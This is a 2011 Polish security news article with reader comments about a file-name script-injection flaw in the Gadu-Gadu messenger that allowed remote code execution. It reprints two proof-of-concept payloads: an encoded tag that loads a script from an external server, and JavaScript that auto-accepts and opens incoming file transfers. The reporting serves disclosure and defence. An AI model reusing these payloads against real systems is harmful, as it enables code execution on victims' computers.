10:30
25/5/2011

Jak informuje Kacper Szcześniak, komunikator Gadu-Gadu niepoprawnie obsługuje operację przesyłania i odbierania plików. Dziura umożliwia atakującemu na zdalne wykonanie kodu na komputerze użytkownika korzystającego z oryginalnego klienta Gadu-Gadu.

Dziura w Gadu-Gadu

Gadu Gadu

Podatność w kliencie Gadu-Gadu opublikował wczoraj na liście Full Disclosure Kacper Szcześniak. Atak polega na odpowiednim nazwaniu przesyłanego do ofiary pliku — w nazwie można wykorzystać 255 znaków, które złożą się na na kod HTML/JavaScript — za jego pomocą, atakujący może sterować operacjami GUI klienta Gadu-Gadu, w tym zapisać i uruchomić dowolny plik na jego komputerze bez konieczności jakiejkolwiek interakcji z użytkownikiem.

Na atak podatne są wszystkie wersje oryginalnego klienta Gadu-Gadu. Jak podkreśla Kacper, mechanizmy DEP i ASLR w niczym tu nie pomogą, bo chodzi o kod JS.

Exploit na Gadu-Gadu

Kacper opublikował exploita Proof of Concept ładującego plik x.js z zewnętrznego serwera:

<input
onfocus="eval(unescape('x%3Ddocument.getElementsByTagName%28%27head
%27%29.item%280%29%3By%3Ddocument.createElement%28%27script
%27%29%3By.src%3D%27http:%2f%2fasd.pl%2fx.js%27%3Bx.appendChild
%28y%29%3B'));this.setAttribute('onfocus',0);"
autofocus>

oraz PoC pozwalający na zaakcpetowanie i otwarcie dowolnego żądania transferu

document.getElementById('extra').innerHTML = '<style>.file,
.entrySeparator{display:none;}</style>';
n = document.getElementById('open_file');
n.setAttribute('id', '');

function ff(){
if(f = document.getElementById('open_file')) {
e = document.createEvent("HTMLEvents");
e.initEvent('click', true, true);
f.dispatchEvent(e);
f.setAttribute('id', '');
}
setTimeout('ff()', 1000);
}

ff();

Jak się obronić przed luką w Gadu-Gadu?

Producent w chwili publikacji tego tekstu nie odesłał jeszcze odpowiedzi na nasze pytanie, kiedy i jak zamierza naprawić ten błąd. Wszystkim, którzy muszą korzystać z Gadu-Gadu sugerujemy przesiadkę na inny niż oryginalny komunikator — z Gadu-Gadu można korzystać np. przy pomocy transportu Jabbera (nie wspiera transferu plików) na komunikatorze PSI. Warto także zaznaczyć, że aby otrzymać od kogoś plik przez Gadu-Gadu — musimy go mieć dodanego do listy kontaktów.

Na koniec przypomnijmy, że niedawno podobny błąd przytrafił się Skype’owi.

Aktualizacja: 22:26, 25.05.2011
Rzecznik prasowy Gadu-Gadu, Jarosław Rybus:

(..) mam świeżą dobrą informację – w kilka godzin udało nam się już wdrożyć poprawkę, załatała ona dziurę w bezpieczeństwie. Będziemy jeszcze przyglądać się tej sprawie. Dodam, że problem ten nie dotyczył wersji mobilnych GG, ani wersji Web Gadu.

Z oświadczenia rzecznika nie wynika niestety, czy poprawka zostanie automatycznie rozdystrybuowana do klientów Gadu-Gadu, czy trzeba ją pobrać ręcznie i zainstalować, czy może została ona wdrożona na serwerach Gadu-Gadu i nic nie trzeba robić.

P.S. Ciekawy to ruch – publikacja 0day’a na Full Disclosure w momencie kiedy na CONFidence odbywał się panel poświęcony temu jak zgłaszać do producentów błędy ;-) Przemyślenia z panelu dyskusyjnego oraz stosunek takich firm jak Allegro czy zespoły CERT do “niezamówionych pentestów” niebawem opiszemy, teraz pora rozpocząć drugi dzień konferencji.

Przeczytaj także:



60 komentarzy

Dodaj komentarz
  1. pozdrowienia z confidence ;)

  2. sugerujemy przesiadkę na inny niż oryginalny komunikator to chyba jest niezgodne z licencją GG!

    • E nie. Kiedyś było o tym głośno, GG nie miało nic przeciwko. Pewnie jeśli 2/3 pokemonów zmieni komunikator(kto tego jeszcze używa?) to team GG zmieni zdanie.

    • Niby dlaczego? Przecież nie musisz akceptować licencji, co oznacza tyle, że Cię nie obowiązuje. Poza tym w licencji GG 7 i starszych nie ma ani słowa o tym, że GG jest jedynym słusznym programem do obsługi tej sieci.

      Co innego regulamin usługi, który sam w sobie jest tragiczny http://gadunews.pl/articles.php?article_id=42

    • “W celu wyjaśnienia wątpliwości Operator zastrzega, że użytkownik nie jest uprawniony do korzystania z usług komunikatora Gadu-Gadu w celu komunikowania się poprzez komunikator Gadu-Gadu z użytkownikami innego komunikatora internetowego, ani też nie jest uprawniony do korzystania z tych usług w taki sposób, że będąc jednocześnie użytkownikiem innego komunikatora internetowego będzie korzystał z usług komunikatora Gadu-Gadu poprzez swój Numer Użytkownika komunikatora Gadu-Gadu w celu komunikacji z innymi Użytkownikami komunikatora Gadu-Gadu realizowanej w ramach infrastruktury, w tym oprogramowania takiego innego komunikatora”

      fragment pkt. 11 http://info.gadu-gadu.pl/komunikator/regulamin

      Jeśli dobrze rozumiem ten bełkot to nie tylko nie można używać innego komunikatora, ale nie można używać oryginalnego komunikatora do rozmów z osobą używającą transportu w jabberze/AQQ/itp… i teraz skąd użytkownik wiedzieć co jest po drugiej stronie?

      I czy Niebezpiecznik proponując złamanie licencji nie funduje sobie wizyty ABW o 6 rano? ;)

    • a czytałeś ją, że piszesz takie banialuki?

      oni nie wspierają użytkowników innych niż korzystających z gg. czyli używasz psi, kadu, jabbera etc to twój problem jest twoim problemem.

  3. Dlatego ja nawet w Mirandzie używam najbardziej minimalistycznych pluginów. :)

  4. Psi to nie skrót a po prostu fonetyczny zapis greckiej literki, więc tylko pierwszą literę z dużej należy pisać (było o tym na wiki programu i/lub forum). Inna rzecz, że większość świata od dawna używa xmpp i gg już pozostaje jednym z nielicznych dinozaurów, które czeka nieubłagane wyginięcie. Jeszcze jedno – transporty xmpp do jakichkolwiek zewnętrznych sieci mają dużo więcej bolączek niż tylko brak transferu plików i na dłuższą metę nie nadają się do używania na co dzień. Najlepszym wyjściem jest kompletne przejście na xmpp i porzucenie wszystkich znajomych którzy też nie chcą się przesiąść (sam tak zrobiłem i w sumie niewiele wartościowych kontaktów straciłem :-) ).

    • Niestety, z tym wyginięciem nie będzie tak łatwo. Polska to dziwny kraj ;)

    • Wszyscy zawsze mówią, że transport się nie nadaje, a ja od 3 lat go używam :P

    • Popieram, też tak zrobiłem i powiem szczerze, że uwolniło mnie to od wielu niemiłych znajomych….

  5. “to chyba jest niezgodne z licencją GG!”
    Tak jakby ktokolwiek się tym przejmował…

    Jednej rzeczy nie rozumiem: Wysyłam plik do ofiary z nazwą zawierającą kod js. A co wykonuje ten kod? Klient GG? Czy zrzuca go na domyślą przeglądarkę internetową ustawioną w systemie?

    • QtWebKit wykonuje ten kod, bo pewnie nie eskejpują tego co przychodzi w nazwie pliku, tylko wstawiają jak leci

  6. Klient gg, nie wiem jak w obecnej formie, ale mogę zgadywać, że używa wbudowanej biblioteki qt/webkit – ergo sam wyświetli/wykona kod.

    W poprzednich wersjach używał kontrolek IE.

  7. Ja bym proponował WTW zamiast GG (dlaczego, to nawet nie warto pisać…).

    vi.curry – “P.S. Ciekawy to ruch – publikacja 0day’a na Full Disclosure w momencie kiedy na CONFidence odbywał się panel poświęcony temu jak zgłaszać do producentów błędy ;-) ”

    Ja się nie dziwię – za znalezienia takiego błędu znowu by kogoś graficznymi opisami obdarowali albo custom-made ikonkami… :D

  8. Alternatywą jest Kadu i ma obsługę też Jabber/XMPP i obsługuje wszystkie platformy.

  9. Przestańcie pisać o tych komunikatorach. Jakie są, każdy wie, a przynajmniej Ci którzy świadomie nie używają oryginalnego klienta GG. Ci co używają i tak pewnie się nie przesiądą więc dajcie spokój. W tym temacie można napisać dużo bardziej kreatywne komentarze jak tylko “USE KADU/PSI/WTW/wft/omg/lol”

  10. Tack ja się wysile i napisze uwaga !!! Miał gościu 5 minut wielkości , wielką władze w ręku , wielki hajs i co zrobił ?? Heh Ale oczywiście full diclocośtam jest lepsze od responscośtam zwałaszcza od ostatniego razu, od wtedy kiedy zaczeliśmy się gryźć z kochankami o ochłapy w naszym śmietniku Od 8 postów wcześniej No i oczywiśćie gdyby używali liuska to by mieli lepiej,i wiadomo przecież jakie jest Gadu-Gadu (to żółte słoneczko – prawie jak jportal tylko że inne bo ma raptem pierwszą naprawde krytyczną dziure,przeżućta się na Skajpa on ma więcej ale jest z ameryki ) Hakiery bez ników toż to od razu widać z którego rynsztoka to to wypełzło

    • No moze Skajp nie z Hameryki ale ze Szwecji. Chociaz niedawno kupil go M$ to i tak jeszcze przez kilka lat pewnie bedzie w Szwecji.

  11. polecam GGLite (ultra maly i szybki) mam go 2 miesiace i na razie super jest

  12. To ja przypomnę ciekawą lukę XSS w GG10 ze stycznia tego roku: http://akcja-slonce.tk/index.php/2011/01/xss-w-gg10/

  13. Na atak podatne są wszystkie wersje oryginalnego klienta Gadu-Gadu. Czyli także te starsze wersje 7.7.0 etc?

  14. to ktoś używa jeszcze Gadu-Gadu? (chodzi mi o klienta, nie sieć)

    • Więcej niz sądzisz, niestety.

  15. Zdecydowaną większość użytkowników oryginalnego klienta GG stanowią osoby, które mają małe lub zerowe pojęcie o tym, że może być coś innego, co nie posiada pierdyliarda reklam i pop-up’ów. Tak samo jest z IE (flame się zacznie…). Taki przeciętny user wpisuje w wyszukiwarkę ‘GG’ i co mu wyskakuje ? Cała strona z linkami do oryginalnego klienta.
    I to się nie zmieni…

    • i większości to wystarczy, większości również mało interesuje wydajność klienta GG, gdyż i tak jest dużo szybsza niż czas w którym są w stanie ogarnąć świat który ich otacza :), bo większości wystarczy fakt – że działa, a jeśli nawet nie działa to “załączą komputer później”

    • Jak ja proponowalem naprawde zwyklym uzytkownikom alternatywy to bylo “po co mi”, “gg mi wystarcza”, “reklamy mi nie przeszkadzaja”, “w kadu sa glupie emotki” :P

  16. Jednego tu nie rozumiem. Jak mogą być tagi html w nazwie pliku, skoro nie może ona zawierać znaku ?

    • Jak zmieścić tyle znaków to wiem, ale jak wprowadzić znaki specjalne np. tagi > <, to chyba odpada, co?

    • No chyba że linux

    • próbowałem spod linuxa, daje rade utworzyć plik o takiej nazwie nawet na partycji ntfs, ale jak chce wysłać spod windowsa za pomocą gg, to wbudowana w gg przeglądarka plików w ogóle nie pokazuje tego pliku, jak chce wysłać z poziomu aqq to windows wywala błąd niepoprawnej nazwy. Na wine nie udało mi się odpalić aqq ani wtf, a kadu jak na razie nie obsługuje transferów plików. Jakis pomysł? Może lib-gadu i prosty program który wywoła tylko transfer pliku o zadanej nazwie?

    • Próbowałem wysyłać z kadu pod liuxem, umieścić w nazwie pliku i wysłać, “ofiara” używa windowsa i gg 10. I dalej nie działa, transfery plików z takimi znakami nie są akceptowane przez gg i nic się nie wyświetla(na gg u otrzymującego, u wysyłającego na kadu jest od razu “rejected”).

  17. Nie rozumiem trochę działania. Jak zmieścić tyle znaków w nazwie pliku? Testowalem to na lapku, nazwa alert(Test);, nic się nie wysłało, a mi scrashowało komunikator, na AQQ jest bodajże błąd.

  18. hehehehe ale tu no-lifow, ktorzy sie chwala tym, ze nie uzywaja GG. no moze jeszcze zrobcie protest przed siedziba gg? hhehehe

    • Chętnie bym zrobił protest – ktoś się zapisuje? ;)

  19. A to przypadkiem pozostała klientela od Gadu-Gadu (ta nieoficjalna) nie korzysta z silników przeglądarek do wyświetlania okna rozmowy? Tu nie ma właściwości, że GG => błąd, pozostali => ok. Jeśli takie WTW wyświetlałoby nazwę przychodzącego pliku w oknie rozmowy, to Trident by też taki kod wykonał (na szczęście nie wyświetla z tego co pamiętam).

    GG 7.7 i starsze, wbrew temu co jest podane na SecLists, nie powinno być podatne na błąd, bo w oknie rozmowy nie jest wyświetlana nazwa pliku.

    Proponowanie PSI jako zamiennik dla GG 10 to jak proponowanie sprzątaczce posady prezesa – trochę to nie ma sensu… skoro ktoś wcześniej używał GG 10, to (z całym szacunkiem) raczej jego poziom nie pozwala na szybkie przejście na PSI.

    • Uzycie silnika przegladarki nie jest bledem. Bledem jest wrzucenie w kod nazwy pliku bez jej wczesniejszej filtracji, a to juz zalezy od konkretnego programisty.

    • Nie panikowałbym, stosunkowo łatwo (gdybam oczywiście) chłopaki z GG mogą to poprawić po stronie serwera (o ile nie będzie to wydajnościowy overkill)

  20. A wie ktoś czy exploit działa na komunikator Pidgin?

  21. Boże, przeszukaj sobie archiwum 7thguarda, znajdziesz tam artykuł na temat alternatywnych klientów i regulaminu. Bardzo stary temat, dawno zamknięty.

  22. http://www.chip.pl/news/bezpieczenstwo/luki-bezpieczenstwa/2011/05/gadu-gadu-z-powazna-luka-w-zabezpieczeniach – chip zaczął czytać niebezpiecznika? będzie zabawnie :P “cyberwłamywacz” :D

  23. Każdy kto choć odrobinę dba o prywatność własnych rozmów, oraz bezpieczeństwo swoich maszyn nie używa od lat GG.

  24. Używam juz sporo czasu WTW – RAMu to zjada ledwo 10MB, rusza z kopyta na najbardziej leciwych komputerach. I jest cholernie wygodne w obsłudze.

    • a ja ekg :) zżera to ponizej 4MB ramu :P

  25. Dziura już załatana – podobno jest już nowa wersja do pobrania ;]
    Cytat z forum GG od pracownika:
    ,,Natychmiast po otrzymaniu zgłoszenia przystąpiliśmy do intensywnych prac, aby znaleźć zagrożenie i wprowadzić poprawkę tak szybko, jak to możliwe. I mamy świeżą dobrą informację – w kilka godzin udało nam się już wdrożyć poprawkę, załatała ona dziurę w bezpieczeństwie.

    Będziemy jeszcze przyglądać się tej sprawie.
    Dodajmy, że problem ten nie dotyczył wersji mobilnych GG, ani wersji Web Gadu.”
    Dla zainteresowanych link: http://help.gadu-gadu.pl/showthread.php?p=23318 (wymagane logowanie)

    • I co do aktualizacji wpisu: Należy pobrać nową wersję Gadu-Gadu, która powinna być już dostępna w automatycznych aktualizacjach.

    • Nie widzę nigdzie aktualizacji klienta, ale jeśli jest ona po stronie klienta, a nie serwera, to chyba komuś coś się przegrzało w główce ;)

    • Qrix, a czemu poprawka po stronie klienta jest gupia?

    • Nowa poprawka robi magiczną sztuczkę i już luka niegroźna, a jak wiadomo nie ujawnia się szczegółów magicznych sztuczek. Po co inni mają wiedzieć jak się bronić. Jeszcze by się okazało, że o czymś zapomnieli albo można było to zrobić lepiej.

    • @SapeR, @Qrix: Nie jest konieczna aktualizacja komunikatora, poprawka została wprowadzona po stronie serwerowej.

    • @Bartek cała magiczna sztuczka to eskejpowanie znaków w nazwie pliku przed wstawieniem do QtWebKita

    • @naresh, chociażby dlatego, że GG mało kto aktualizuje regularnie. Jest sporo osób, które mają nadal GG8, a GG Team rzadko daje aktualizacje w swoim kanale. Sprawdź tego XMLa: http://static.gadu-gadu.pl/gadu-gadu-10.xml wskazuje on najnowszą wersję 0.0.0.0 czyli żaden klient (nawet bardzo stary) nie zostanie zaktualizowany. Na co dzień ta aktualizacja po prostu nie działa. Poza tym sporo osób chce pozostać przy starszych wersjach gdzie nie wycięto jeszcze kilku przydatnych funkcji.

    • @Qrix, nie wiedziałem, że z automatyczną aktualizacją w GG jest tak źle… faktycznie client site fix będzie słaby w tym przypadku

  26. Przecież niemożliwe jest utworzenie pliku z , itp. na windowsie, na którym działa gg, prawda? Jak to możliwe? ;/

    • ale możliwe jest wysłanie pakietu, w którym jako nazwę pliku przekażemy ten kod ;)

  27. @arab: kiedy posprzątasz bluzgi dzieciarni na swoim dyktatorskim, moderowanym wszelkie treściwe i sensowne komentarze ps3site.pl?

  28. Dziura jest załatana i jest to pełne załatanie po stronie serwera. Aktualizacja wszystkich serwerów GG została wprowadzona już wczoraj (po informacji, wprowadzeniu poprawek i przetestowaniu). Nie jest wymagane ściągnięcie nowej wersji komunikatora, aczkolwiek równolegle wprowadzana jest poprawka również po stronie komunikatora. Od wczoraj, kilka godzin po informacji i wdrożeniu poprawek żaden komunikator (bez względu na wersję, brak aktualizacji, etc.) nie jest już podatny na atak.

    • Wprowadzono filtr wiadomości po stronie serwera.
      Komunikatory są/były (nie wiem) dalej podatne. Tylko trudniej to wykorzystać.

  29. Rozwinięcie w MITM (z dzisiaj): http://seclists.org/fulldisclosure/2011/May/515

  30. […] i najniebezpieczniejszy komunikator. Jak donoszą chłopaki z niezawodnego Niebezpiecznika, wykryto dziurę w komunikatorze umożliwiającą wykonanie kodu na komputerze ofiary. Dotyczy to wszystkich, oryginalnych wersji komunikatora. Kto w 2011 r. używa jeszcze […]

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: